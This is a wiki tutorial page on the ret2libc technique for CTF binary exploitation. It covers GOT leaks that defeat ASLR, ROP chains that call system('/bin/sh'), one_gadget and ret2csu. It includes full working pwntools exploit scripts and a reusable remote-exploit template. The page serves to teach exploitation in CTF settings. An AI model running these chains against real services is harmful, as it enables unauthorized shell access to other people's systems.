Athena Wiki

ret2libc

pwnintermediate

Bypass NX by returning into libc's system() function to pop a shell.

pwnret2libcropaslrlibcsystem

ret2libc

You've got a stack overflow, NX is on, and there's no win() function. You can't inject shellcode, and there's nothing useful to jump to in the binary itself. What now?

ret2libc (return-to-libc) solves this by jumping into libc — the C standard library that's always loaded in every dynamically linked program. libc has system(), which runs shell commands. If you can call system("/bin/sh"), you get a shell.


The Problem: ASLR

libc is loaded at a random address every run (ASLR). You can't hardcode system()'s address. But if you can leak one known libc address at runtime, you can calculate the rest.

The strategy:

Mermaid diagram

How the Leak Works

The GOT (Global Offset Table) stores the resolved addresses of libc functions. After puts() has been called once, puts@GOT contains the real address of puts in libc. If you can read that value, you can compute:

libc_base = leaked_puts_address - libc.sym['puts']

Once you know libc_base, every libc function's address is known: system, "/bin/sh", exit, everything.


Stage 1: Leak via ROP

You use a ROP chain to call puts(puts@GOT), which prints the address of puts in libc. Then you return to main() so the program runs again for stage 2.

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
offset  = 72

# Stage 1: leak puts address
payload  = b'A' * offset
payload += p64(pop_rdi)          # set RDI to...
payload += p64(elf.got['puts'])  #   ...the address of puts in the GOT
payload += p64(elf.plt['puts'])  # call puts() — prints the address
payload += p64(elf.sym['main'])  # return to main() for stage 2

p.sendline(payload)
p.recvline()                     # skip any output before the leak

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc base @ {hex(libc.address)}")

What's happening:

  1. pop_rdi loads elf.got['puts'] into RDI (the first argument)
  2. elf.plt['puts'] calls puts(), which prints the 8 bytes at puts@GOT — that's the real libc address
  3. elf.sym['main'] returns to main(), giving you a second chance to send input

puts() stops at null bytes. The leaked address might have trailing garbage. Use .strip().ljust(8, b'\x00') to clean it up.


Stage 2: Call system("/bin/sh")

Now that libc.address is set, you can use any libc function at its real address. Build a second ROP chain:

ret = rop.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))

payload2  = b'A' * offset
payload2 += p64(ret)                  # stack alignment
payload2 += p64(pop_rdi)              # set RDI to...
payload2 += p64(bin_sh)               #   ...address of "/bin/sh" in libc
payload2 += p64(libc.sym['system'])   # call system("/bin/sh")

p.sendline(payload2)
p.interactive()                       # you have a shell

Full Template

from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')

if args.REMOTE:
    p = remote('challenge.ctf.com', 9001)
else:
    p = process('./vuln')

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret     = rop.find_gadget(['ret'])[0]
offset  = 72

# --- Stage 1: leak puts ---
payload = flat({offset: [pop_rdi, elf.got['puts'], elf.plt['puts'], elf.sym['main']]})
p.sendline(payload)
p.recvuntil(b'!\n')

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.sym['puts']
log.success(f"libc @ {hex(libc.address)}")

# --- Stage 2: shell ---
bin_sh = next(libc.search(b'/bin/sh'))
payload2 = flat({offset: [ret, pop_rdi, bin_sh, libc.sym['system']]})
p.sendline(payload2)
p.interactive()

Always add a ret gadget before system() on x86-64. Without it, system() may crash on a movaps instruction due to stack misalignment.


One-Gadget Alternative

A one_gadget is a single address in libc that spawns a shell if certain register conditions are met. Instead of building a full ROP chain, you just jump to it:

gem install one_gadget

one_gadget ./libc.so.6
# Output:
# 0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
# constraints: rsp & 0xf == 0, rcx == NULL

# 0x4f432 execve("/bin/sh", rsp+0x40, environ)
# constraints: [rsp+0x40] == NULL

Each result shows the address and the constraints that must be satisfied. Try each one — they often work even when constraints look wrong.


Finding the Right libc Version

The challenge might not give you libc.so.6. If you leak a few addresses, you can identify the version:

Visit https://libc.rip/ and paste your leaked addresses. You need at least 2 different symbols for accurate identification.


ret2csu: When You Need More Gadgets

Sometimes you need to control RSI or RDX (for read() or execve()), but the binary doesn't have pop rsi; ret or pop rdx; ret gadgets. The __libc_csu_init function contains universal gadgets that can set all three argument registers:

# These gadgets exist in most non-stripped ELFs (glibc < 2.34):
# csu_gadget1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# csu_gadget2: mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]

csu1 = 0x4011c6   # find with: objdump -d vuln | grep -A20 __libc_csu_init
csu2 = 0x4011b0

chain  = p64(csu1)
chain += p64(0)             # rbx = 0
chain += p64(1)             # rbp = 1 (so rbp == rbx+1 after call)
chain += p64(got_target)    # r12 = address of function pointer to call
chain += p64(arg1)          # r13 → edi (arg1)
chain += p64(arg2)          # r14 → rsi (arg2)
chain += p64(arg3)          # r15 → rdx (arg3)
chain += p64(csu2)          # execute

ret2csu is useful when the binary is small and lacks argument-setting gadgets. For full details, see this reference.


Checklist

  • NX enabled, no win() → ret2libc is the approach
  • Run checksec — is PIE off? (easier to work with fixed addresses)
  • Stage 1: ROP chain to leak puts@GOT via puts(puts@GOT)
  • Compute libc.address from the leak
  • Stage 2: ROP chain to call system("/bin/sh")
  • Add ret gadget before system() if it crashes (alignment)
  • Try one_gadget if the full chain is awkward
  • Need pop rsi/pop rdx? → try ret2csu
  • Don't know libc version? → leak 2+ symbols, use libc.rip

Last updated on

On this page